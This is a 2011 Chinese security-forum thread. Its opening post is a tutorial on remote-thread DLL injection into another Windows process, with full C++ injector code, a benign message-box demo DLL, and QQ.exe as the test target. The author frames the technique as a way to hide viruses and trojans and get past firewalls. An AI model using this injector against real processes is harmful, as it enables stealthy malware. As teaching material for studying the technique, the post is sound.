首页
社区
课程
招聘
[旧帖] DLL文件的注入 0.00雪花
2011-8-23 00:05 4629

[旧帖] DLL文件的注入 0.00雪花

2011-8-23 00:05
4629
【文章标题】: DLL文件的注入
【文章作者】: Cracksman
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
我想菜鸟门一定都对编写病毒,和预防病毒非常感兴趣,我也不例外,
所以深入研究了一下有关病毒木马的隐藏和怎样穿越软件防火墙的知识,
说起这些技术,那么远程线程的注入可谓是必修之课。
下面我就把自己学习的远程线程注入的知识分享给大家。
  
  首先我们必须了解的几个API函数
  HANDLE OpenProcess(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwProcessId);
  ---用来打开一个已存在的进程对象,并返回进程的句柄。
  LPVOID VirtualAllocEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);
  ---用来在目标进程的地址空间申请内存。
  BOOL WINAPI VirtualFreeEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD dwFreeType);
  ---用来释放在目标地址空间申请的内存。
  BOOL WriteProcessMemory(HANDLE hProcess,LPVOID lpBaseAddress,LPVOID lpBuffer,DWORD nSize,LPDWORD lpNumberOfBytesWritten);
  ---用来向目标进程的地址空间写入数据。
  HANDLE WINAPI CreateRemoteThread(HANDLE hProcess,LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);
  ---用来在目标进程中创建一个线程。
  HMODULE LoadLibraryA(LPCTSTR lpLibFileName);
  ---用来在目标进程中加载病源体。
  
首先我们来模拟一个简单的病源体(DLL文件)
如下内容
  #include<windows.h>
  #include<tchar.h>
  BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
  {
      switch ( fdwReason )
       {
      case DLL_PROCESS_ATTACH:
           {
               MessageBox( NULL, _T("病源体已成功寄生目标进程"), _T("信息"), MB_ICONINFORMATION );
           }
          break;
      case DLL_PROCESS_DETACH:
           {
               MessageBox( NULL, _T("病源体已成功脱离目标进程"), _T("信息"), MB_ICONINFORMATION );
           }
          break;
       }
      return TRUE;
  }
让后编译生成一个DLL文件,好了简单的病源体模拟就完成了。
  
下面进入重要环节--线程注入
首先我们要找一个目标进程
  #include<stdio.h>
  #include<windows.h>
  #include<tlhelp32.h>
  #include<iostream>
  #include<tchar.h>
  using namespace std;
  void main()
  {
          unsigned int ProcessID;
          PROCESSENTRY32 stPE32;
          stPE32.dwSize=sizeof(stPE32);
          HANDLE hSnapshot=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
          bool bMore=(bool)Process32First(hSnapshot,&stPE32);
          while(bMore)
          {
                  cout<<stPE32.szExeFile<<" \t "<<stPE32.th32ProcessID<<endl;
                  bMore=(bool)Process32Next(hSnapshot,&stPE32);
          }
          //在此我们可以选择一个要注入的进程ID
  }
  这段代码会列出当前系统的所有正在运行的进程名称和进程ID,在这里我们可以选择一个要注入的进程ID
  
  先简单介绍一下我们的实现思路
  要想在目标进程中创建一个线程,我们必须指定一个线程函数地址,这个函数地址必须在目标进程地址空间中有效,
  因为要让目标进程加载我们指定的DLL文件所以我们用LoadLibrary函数做为线程函数,使其将我们指定的DLL加载,
  到目标进程地址空间,但是LoadLibrary函数的参数是一个LPCTSTR类型,也就是指向DLL文件名的指针,如果我们
  直接在本程序中声明一个LPCTSTR的变量指向一个DLL文件名作为参数传给LoadLibrary函数的话,那么肯定是以失败
  告终,因为你想啊LoadLibrary是在目标进程执行的,LPCTSTR变量指向的是本进程DLL文件名的地址,这个地址在目标
  进程中肯定是无效的,所以我们必须把要注入的DLL文件名写如目标进程的地址空间,让后把DLL文件名在目标进程
  地址空间内的地址传给LoadLibrary函数做参数,那么这会我们就大功告成了,光说空话没有用,下面我们来看看怎样
  实现这一功能.
  
  为了优化程序的结构,现在我们先打造一个写目标进程地址空间的函数
  bool WriteMemory(const HANDLE hProcess,const DWORD dwSize,const LPVOID lpRemoteBuf,const LPVOID Data)
  {
          DWORD dwNumberOfBytesWritten;
          if(lpRemoteBuf==NULL)//lpRemoteBuf表示一个指向目标进程地址空间的缓冲区
          {
                  return false;//如果lpRemoteBuf等于NULL表示在目标进程地址空间申请内存失败了
          }
          if(WriteProcessMemory(hProcess,lpRemoteBuf,Data,dwSize,&dwNumberOfBytesWritten))//如果申请内存没有失败则想目标进程的缓冲区写入数据
          {
                  if(dwSize!=dwNumberOfBytesWritten)//dwSize是要写入的数据大小,dwNumberOfBytesWritten是实际写入的数据大小
                  {
                          //如果dwSize不等于dwNumberOfBytesWritten则表示输入写入不完整,同样以失败告终
                          VirtualFreeEx(hProcess,lpRemoteBuf,dwSize,MEM_DECOMMIT);
                          CloseHandle(hProcess);
                          return false;
                  }
          }
          else
          {
                  CloseHandle(hProcess);
                  return false;
          }
          return true;
  }

  突然给出上面这段代码,大家可能有点摸不着头脑,不过没关系,看了下面的代码你就会明白。
  bool ProcessInjection(const unsigned int ProcessID)
  {
          //OpenProcess第一个参数指定要对该进程进行的操作(也就是权限)
          //PROCESS_CREATE_THREAD表示可以在目标进程中创建远程线程,也就是使用CreateRemoteThread的权限;
          //PROCESS_VM_OPERATION表示可以在目标进程中分配/释放内存的权限,也就是使用 VirtualAllocEx/VirtualFreeEx的权限;
          //PROCESS_VM_WRITE表示可以向目标进程的地址空间写入数据,也就是使用 WriteProcessMemory的权限。
          HANDLE hProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,ProcessID);
          LPCTSTR Data=_T("VirusDLL.dll");
          DWORD dwSize;
          dwSize=_tcslen(Data)+1;//计算要在目标进程中申请的内存大小
          LPVOID lpRemoteBuf=VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_READWRITE);//在目标进程中申请内存
         
          //这里就是调用上面我们刚才打造的写目标进程地址空间的函数,为了程序的结构不混乱所以把这部分单独封装成一个函数;
          if(!WriteMemory(hProcess,dwSize,lpRemoteBuf,(LPVOID)Data)) return false;
  
          DWORD dwRemoteThreadHandle;
          //这里有必要说明一写lpRemoteEntryFun是一个LPVOID指针,指向LoadLibraryA函数,但是我现在取的LoadLibraryA函数地址
          //是针对本进程而言的函数地址,对于目标进程而言LoadLibraryA的函数地址可能和我的不一样;
          //这个道理是对的,但是对于有些函数来说,也不完全正确,因为LoadLibraryA位于kernel32.dll之中;
          //而Win32下每个应用程序都会把kernel32.dll加载到进程地址空间中一个固定的地址中;
          //所以在这里LoadLibraryA函数地址在每个应用程序中的地址是一样的;
          LPVOID lpRemoteEntryFun=LoadLibraryA;
          //接下来就是创建一个远程线程,线程的入口函数是LoadLibraryA,参数就是我们已经写入目标进程地址空间的DLL名称
          HANDLE hRemoteThread=CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)lpRemoteEntryFun,lpRemoteBuf,0,&dwRemoteThreadHandle);
          WaitForSingleObject(hRemoteThread,INFINITE);//等待LoadLibraryA执行完毕
          CloseHandle(hRemoteThread);
          CloseHandle(hProcess);
          cout<<"DLL已经成功注入!"<<endl;
          return true;
  }
  
  现在我们把之前的main()函数修改一下,增加一点内容如下
  void main()
  {
          unsigned int ProcessID;
          PROCESSENTRY32 stPE32;
          stPE32.dwSize=sizeof(stPE32);
          HANDLE hSnapshot=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
          bool bMore=(bool)Process32First(hSnapshot,&stPE32);
          while(bMore)
          {
                  cout<<stPE32.szExeFile<<" \t "<<stPE32.th32ProcessID<<endl;
                  bMore=(bool)Process32Next(hSnapshot,&stPE32);
          }
          //在此我们可以选择一个要注入的进程ID
          cout<<"请输入要注入的进程ID:";
          cin>>ProcessID;
          ProcessInjection(ProcessID);
  }
现在已经大功告成了
找个目标做个实验
QQ嘿嘿,就你了首先我们吧我们模拟的一个简单病毒VirusDLL.dll拷贝到QQ.exe所在目录下面
让后运行我们的程序,如果你这开了QQ的话,那么你会在这个进程列表里面找到QQ.exe对应的进程ID
让后输入这个进程ID,回车
呵呵结果如何,自己试了就知道.

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞5
打赏
分享
最新回复 (20)
雪    币: 793
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
happymhx 2011-8-23 10:33
2
0
楼主讲得挺清楚 代码也挺简洁 赞一个
雪    币: 212
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kisbuddy 2011-8-23 10:35
3
0
前排支持,加油~
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
siddney 2011-8-23 10:38
4
0
好多注释啊,lz很辛苦啊~
雪    币: 43
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
Cracksman 2011-8-23 11:55
5
0
谢谢,总算是还有人支持
雪    币: 41
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
爱卿请起 2011-8-24 14:31
6
0
远程注入dll 创建进程注入都实现过,挂接api,钩子,用detour更简单一些 如果这样都可以申请会员,下次我也申请一个,绝对是原创,
雪    币: 313
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Matz 2011-8-24 15:42
7
0
嗯,用Detours进行setdll,方便快捷!是居家旅行,杀人必备的利器。。
雪    币: 43
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
Cracksman 2011-8-24 19:46
8
0
这为兄弟如果有更简单更实用的办法,不访说出来跟大家分享一下,在下也洗耳洗耳恭听
雪    币: 297
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
panshoup 2011-8-24 22:19
9
0
不错 刚刚来论坛 菜鸟看到大家都这么厉害呀
雪    币: 41
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
爱卿请起 2011-8-25 01:35
10
0
我都不知道是什么后年马月的了 以前想hook 游戏的 谁知道 这游戏不是用这个取 也不是windows机制 也不是dxinput  

DetourAttach
DetourDetach
我就记得两个 其他要看detour的说明了 我几乎过目即望 我认为用汇编的可能更强
雪    币: 41
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
爱卿请起 2011-8-25 01:37
11
0
这个论坛应该不是什么新鲜的 太简单了 这个东西 是在makefile的时候 麻烦
尽力了 实现靠你自己
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
sses 2011-8-25 08:50
12
0
觉得这个有注释还是可以看懂的
雪    币: 128
活跃值: (111)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
shuizhilan 2011-8-25 09:03
13
0
dll注入常见三种方式,1.windows挂钩,2.使用远程线程,3.使用特洛伊
雪    币: 793
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
happymhx 2011-8-25 09:09
14
0
动嘴跟动手相差不只十万里,然后用工具跟自己写的区别很大,自己懂还要让别人懂的区别也很大
支持下楼主的分享 至于注册码不注册码倒是其次
雪    币: 43
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
Cracksman 2011-8-25 18:47
15
0
千金易得,知己难求啊,说出了我的心里话,大家进步才是真的进步嘛!多谢happymhx兄的支持
雪    币: 8
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
symanli 2011-8-27 14:20
16
0
受教了。
雪    币: 7
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
泣血面包 2011-8-27 17:31
17
0
新手来看看,学习了
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
chenwei丶 2011-10-9 15:15
18
0
未看完,好长。看到这么多注释,lz辛苦了。学习
雪    币: 49
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ravenhu 2014-2-20 01:20
19
0
谢谢楼主的分享,不过按照楼主的步骤,不知道为啥没有提示对话框,我用控制台程序的,显示了DLL注入成功,但是就是没有提示《病源体已成功寄生目标进程》的对话框,本人小菜。。。请楼主指点。
雪    币: 49
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ravenhu 2014-2-20 01:42
20
0
抱歉,犯了个小错误。。已经解决。
雪    币: 11
活跃值: (32)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
isgoodtim 2014-2-26 13:17
21
0
哈哈,控制台程序是不能用MessageBox这个函数的.
游客
登录 | 注册 方可回帖
返回